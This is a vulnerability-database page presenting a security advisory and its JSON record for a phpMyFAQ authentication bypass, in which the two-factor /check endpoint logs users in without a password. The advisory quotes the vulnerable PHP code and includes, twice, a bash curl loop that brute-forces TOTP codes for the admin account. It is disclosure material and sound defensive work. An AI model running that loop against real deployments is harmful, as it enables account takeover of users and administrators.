GHSA-8GPW-XVPF-HVX5
Vulnerability from github – Published: 2026-09-24 19:29 – Updated: 2026-09-24 19:29Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).
If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact
Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56737"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T19:29:27Z",
"nvd_published_at": "2026-09-24T16:17:07Z",
"severity": "HIGH"
},
"details": "### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require \u2014 and is not bound to \u2014 a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027public.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n if ($this-\u003ecurrentUser-\u003eisLoggedIn()) {\n return new RedirectResponse(url: \u0027./\u0027);\n }\n\n $token = Filter::filterVar($request-\u003erequest-\u003eget(\u0027token\u0027), FILTER_SANITIZE_SPECIAL_CHARS);\n $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(\u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n if ($userId \u003c= 0) { /* ... */ }\n\n $this-\u003ecurrentUserService-\u003egetUserById($userId); // loads attacker-chosen user\n\n if (strlen((string) $token) === 6) {\n $result = $this-\u003etwoFactor-\u003evalidateToken($token, $userId);\n if ($result) {\n $this-\u003ecurrentUserService-\u003etwoFactorSuccess(); // full login, no password ever checked\n return new RedirectResponse(url: \u0027./\u0027);\n }\n }\n // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n $this-\u003esetLoggedIn(true);\n $this-\u003eupdateSessionId(true);\n $this-\u003esaveToSession();\n $this-\u003esetSuccess(true);\n return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) \u2014 proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts \u2014 it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n if (strlen($token) !== 6 || $userId \u003c= 0) { return false; }\n $this-\u003ecurrentUser-\u003egetUserById($userId);\n $secret = $this-\u003ecurrentUser-\u003egetUserData(\u0027secret\u0027);\n if (!is_string($secret) || $secret === \u0027\u0027) { return false; } // no 2FA -\u003e false\n return $this-\u003etwoFactorAuth-\u003everifyCode($secret, $token); // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n curl -ks -c jar.txt -b jar.txt \\\n -X POST \"https://target/check\" \\\n --data-urlencode \"user-id=1\" \\\n --data-urlencode \"token=$(printf \u0027%06d\u0027 10#$code)\" \\\n -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n | grep -q \u0027./\u0027 \u0026\u0026 echo \"[+] logged in with token $code\" \u0026\u0026 break\ndone\n# A successful guess yields a logged-in session in jar.txt -\u003e full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim\u0027s TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password \u2014\nthe primary credential \u2014 is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.",
"id": "GHSA-8gpw-xvpf-hvx5",
"modified": "2026-09-24T19:29:28Z",
"published": "2026-09-24T19:29:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56737"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ\u0027s two-factor authentication login bypasses the password factor"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.